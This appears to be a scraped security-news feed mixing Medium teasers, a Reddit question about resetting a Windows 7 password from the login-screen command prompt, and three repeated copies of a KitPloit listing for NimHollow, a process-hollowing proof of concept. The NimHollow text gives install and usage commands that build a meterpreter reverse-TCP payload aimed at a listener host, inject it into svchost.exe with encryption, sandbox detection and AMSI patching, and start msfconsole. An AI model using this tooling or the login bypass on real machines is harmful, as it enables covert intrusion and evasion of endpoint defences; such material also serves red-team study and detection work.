Hacking on Medium
Regex

รูปแบบหรือกลุ่มคำ (pattern) ที่เรากำหนดขึ้นเพื่อเอาไว้ค้นหาข้อความหรือตัวอักษรต่างๆ เพื่อเช็คว่าตรงตามเงื่อนไข (pattern)…

Continue reading on Medium »

Hacking on Medium
Cryptography essential for H4CK3R and CTF player 0x1(encoding).

https://cdn-images-1.medium.com/max/2600/0*H-3lPIHlGqY_Sa-w
Hello dear hackers in this series we will teach you basic concept of cryptography which is very helpful during CTF competition and exam…

Continue reading on Medium »

NimHollow - Nim Implementation Of Process Hollowing Using Syscalls (PoC)

Playing around with the Process Hollowing technique using Nim.Features:Direct syscalls for triggering Windows Native API functions with NimlineWhispers.Shellcode encryption/decryption with AES in CTR mode.Simple sandbox detection methods from the OSEP course by @offensive-security.AMSI patching with @rasta-mouse's method is also inside (uncomment it for your needs).UsageInstallation:~$ git clone --recurse-submodules https://github.com/snovvcrash/NimHollow && cd NimHollow~$ nimble install winim nimcrypto~$ pip3 install -r requirements.txt~$ sudo apt install upx -yExample:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.13.37 LPORT=31337 EXITFUNC=thread -f raw -o shellcode.bin ~$ python3 NimHollow.py shellcode.bin -i 'C:\Windows\System32\svchost.exe' -o injector --upx --rm ~$ file injector.exe injector.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows ~$ sudo msfconsole -qr msf.rc ">~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.13.37 LPORT=31337 EXITFUNC=thread -f raw -o shellcode.bin~$ python3 NimHollow.py shellcode.bin -i 'C:\Windows\System32\svchost.exe' -o injector --upx --rm~$ file injector.exeinjector.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows~$ sudo msfconsole -qr msf.rcHelp:usage: NimHollow.py -h -i IMAGE -o OUTPUT --debug --upx --rm shellcode_binpositional arguments: shellcode_bin path to the raw shellcode fileoptional arguments: -h, --help show this help message and exit -i IMAGE, --image IMAGE process image to hollow (default "C:\Windows\System32\svchost.exe") -o OUTPUT, --output OUTPUT output filename --debug do not strip debug messages from Nim binary --upx compress Nim binary with upx --rm remove Nim files after compiling the binaryProcess Hollowing in Slides1. Create the target process (e.g., svchost.exe) in a suspended state. 2. Query created process to extract its base address pointer from PEB (Process Environment Block).3. Read 8 bytes of memory (for 64-bit architecture) pointed by the image base address pointer in order to get the actual value of the image base address. 4. Read 0x200 bytes of the loaded EXE image and parse PE structure to get the EntryPoint address.5. Write the shellcode to the EntryPoint address and resume thread execution. Credits@ajpc500 for the NimlineWhispers project.@byt3bl33d3r for the OffensiveNim repository.@S3cur3Th1sSh1t and @chvancooten for Nim code snippets.Download NimHollow
Read more...

NimHollow - Nim Implementation Of Process Hollowing Using Syscalls (PoC)
http://www.kitploit.com/2021/12/nimhollow-nim-implementation-of-process.html

Playing around with the Process Hollowing (https://attack.mitre.org/techniques/T1055/012/) technique using Nim.Features:Direct syscalls (https://www.kitploit.com/search/label/Syscalls) for triggering Windows Native API functions with NimlineWhispers (https://github.com/ajpc500/NimlineWhispers).Shellcode encryption/decryption with AES in CTR mode (https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_(CTR)).Simple sandbox (https://www.kitploit.com/search/label/Sandbox) detection methods from the OSEP course by @offensive-security.AMSI patching with @rasta-mouse's method (https://rastamouse.me/memory-patching-amsi-bypass/) is also inside (uncomment it for your needs).
UsageInstallation:~$ git clone --recurse-submodules https://github.com/snovvcrash/NimHollow && cd NimHollow
~$ nimble install winim nimcrypto
~$ pip3 install -r requirements.txt
~$ sudo apt install upx -yExample:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.13.37 LPORT=31337 EXITFUNC=thread -f raw -o shellcode.bin ~$ python3 NimHollow.py shellcode.bin -i 'C:\Windows\System32\svchost.exe' -o injector (https://www.kitploit.com/search/label/Injector) --upx --rm ~$ file injector.exe injector.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows ~$ sudo msfconsole (https://www.kitploit.com/search/label/MSFconsole) -qr msf.rc ">~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.13.37 LPORT=31337 EXITFUNC=thread -f raw -o shellcode.bin
~$ python3 NimHollow.py shellcode.bin -i 'C:\Windows\System32\svchost.exe' -o injector --upx --rm
~$ file injector.exe
injector.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
~$ sudo msfconsole -qr msf.rcHelp:usage: NimHollow.py [-h] [-i IMAGE] [-o OUTPUT] [--debug] [--upx] [--rm] shellcode_bin

positional arguments:
shellcode_bin path to the raw shellcode file

optional arguments:
-h, --help show this help message and exit
-i IMAGE, --image IMAGE
process image to hollow (default "C:\Windows\System32\svchost.exe")
-o OUTPUT, --output OUTPUT
output filename
--debug do not strip debug messages from Nim binary
--upx compress Nim binary with upx
--rm remove Nim files after compiling the binary
Process Hollowing in Slides1. Create the target process (e.g., svchost.exe) in a suspended state.

 2. Query created process to extract its base address pointer from PEB (Process Environment Block).

3. Read 8 bytes of memory (for 64-bit architecture) pointed by the image base address pointer in order to get the actual value of the image base address.

 4. Read 0x200 bytes of the loaded EXE image and parse PE structure to get the EntryPoint address.

5. Write the shellcode to the EntryPoint address and resume thread execution.

 Credits@ajpc500 for the NimlineWhispers (https://github.com/ajpc500/NimlineWhispers) project.@byt3bl33d3r for the OffensiveNim (https://github.com/byt3bl33d3r/OffensiveNim/) repository.@S3cur3Th1sSh1t and @chvancooten for Nim code (https://github.com/S3cur3Th1sSh1t/Creds/tree/master/nim) snippets (https://github.com/byt3bl33d3r/OffensiveNim/issues/16).

Download NimHollow (https://github.com/snovvcrash/NimHollow)

hacking: security in practice
Working around a domain

Not sure if this is the right place to post about this, but I’ve been trying to reset a password on an old ThinkPad X220 (Windows 7 Professional). I completed a hard shutdown and followed some steps to basically access the command prompt on the login screen, which works.

I used the command prompt to view user accounts (net user) and changed the password for a Guest account (net user Guest *) as I do not want to change or lose anything on the current account. When I tried logging in with the new details, it states “there are currently no logon servers available to service the login request”. I think this is due to the computer still being under an old domain. Is there a way to work around this?

submitted by /u/yhshi26
[link] [comments]

KitPloit - PenTest Tools!
NimHollow - Nim Implementation Of Process Hollowing Using Syscalls (PoC)

https://blogger.googleusercontent.com/img/a/AVvXsEju-a7Ffp-HSfDClLFXpy73drXnyiiO4oKN8CtdQlwSht6ORyEecUPXSPMfBFmJLoMIFqDtj0QffoLiMp4DPQx3JjkjKouDwJ90DAyJvG90CCzfpBJSrkIG4hElY_scMAUY-8h6tjbBpUJH78IsaQAoMMNzm4gua75f85dsLNIFJ_o6cYGbDp4PVAOiJQ=w640-h230 Playing around with the Process Hollowing technique using Nim.

Features:

* Direct syscalls for triggering Windows Native API functions with NimlineWhispers.
* Shellcode encryption/decryption with AES in CTR mode.
* Simple sandbox detection methods from the OSEP course by @offensive-security.
* AMSI patching with @rasta-mouse's method is also inside (uncomment it for your needs). UsageInstallation: ~$ git clone --recurse-submodules https://github.com/snovvcrash/NimHollow && cd NimHollow
~$ nimble install winim nimcrypto
~$ pip3 install -r requirements.txt
~$ sudo apt install upx -yExample:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.13.37 LPORT=31337 EXITFUNC=thread -f raw -o shellcode.bin ~$ python3 NimHollow.py shellcode.bin -i 'C:\Windows\System32\svchost.exe' -o injector --upx --rm ~$ file injector.exe injector.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows ~$ sudo msfconsole -qr msf.rc ">~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.13.37 LPORT=31337 EXITFUNC=thread -f raw -o shellcode.bin
~$ python3 NimHollow.py shellcode.bin -i 'C:\Windows\System32\svchost.exe' -o injector --upx --rm
~$ file injector.exe
injector.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
~$ sudo msfconsole -qr msf.rc

Help: usage: NimHollow.py [-h] [-i IMAGE] [-o OUTPUT] [--debug] [--upx] [--rm] shellcode_bin

positional arguments:
shellcode_bin path to the raw shellcode file

optional arguments:
-h, --help show this help message and exit
-i IMAGE, --image IMAGE
process image to hollow (default "C:\Windows\System32\svchost.exe")
-o OUTPUT, --output OUTPUT
output filename
--debug do not strip debug messages from Nim binary
--upx compress Nim binary with upx
--rm remove Nim files after compiling the binary Process Hollowing in Slides1. Create the target process (e.g., svchost.exe) in a suspended state. https://blogger.googleusercontent.com/img/a/AVvXsEju-a7Ffp-HSfDClLFXpy73drXnyiiO4oKN8CtdQlwSht6ORyEecUPXSPMfBFmJLoMIFqDtj0QffoLiMp4DPQx3JjkjKouDwJ90DAyJvG90CCzfpBJSrkIG4hElY_scMAUY-8h6tjbBpUJH78IsaQAoMMNzm4gua75f85dsLNIFJ_o6cYGbDp4PVAOiJQ=w640-h230 2. Query created process to extract its base address pointer from PEB (Process Environment Block). https://blogger.googleusercontent.com/img/a/AVvXsEjULkJVlq024VJB9IrUjDKpBt-OjBI8UKoiZ6Fz1sOvSWroxv0yxyel0TzmvJ8ZCWpYdGaawnDnTAPlO0D7pbBZteKp9olJFM4yMhtsBh3-q2EFjwWDsONIbpiQS4kFRPO5u6oufk8FdQmAsdl9xLCMKa40th5MPe4e4YjOJC_V-x2ZrENQm9DahrPsyg=w640-h230 3. Read 8 bytes of memory (for 64-bit architecture) pointed by the image base address pointer in order to get the actual value of the image base address. https://blogger.googleusercontent.com/img/a/AVvXsEj4YjVTyYVc71-U7krLKyfyAW8wNXTLqUnvMC_79OGFASyREFmk7L2oVYmrc6ETaMdL5kOcvTb2pA4O4Y90iKgMWUfr3lsAYc_HgIoqX3ooPMsAhXbbkdHeL9xJkGkPbPmAEJePEXkpHw7Fm74xzlWs6TH-Cvc_urgcS05Qop1rSx6Zy9_Iw3rnOP1eRg=w640-h230 4. Read 0x200 bytes of the loaded EXE image and parse PE structure to get the EntryPoint address. https://blogger.googleusercontent.com/img/a/AVvXsEiDx5xt86_mineWvzVlNewT9msVRqwTRP2cg7gYHU5WGjF6tABwOt3vQTC_2HP5g3rdm200941lNtYrEc_qpGDzL5TPqEXXU7tRGyXVRVsM-0906r5VSc53SFQSyzoDJifk9M6XJA0QkOL-IuzNmP8MaSnpR5nm4NtDMsNO9usTDzbrVwjywxgdUiqzCA=w640-h324 5. Write the shellcode to the EntryPoint address and resume thread execution. https://blogger.googleusercontent.com[...]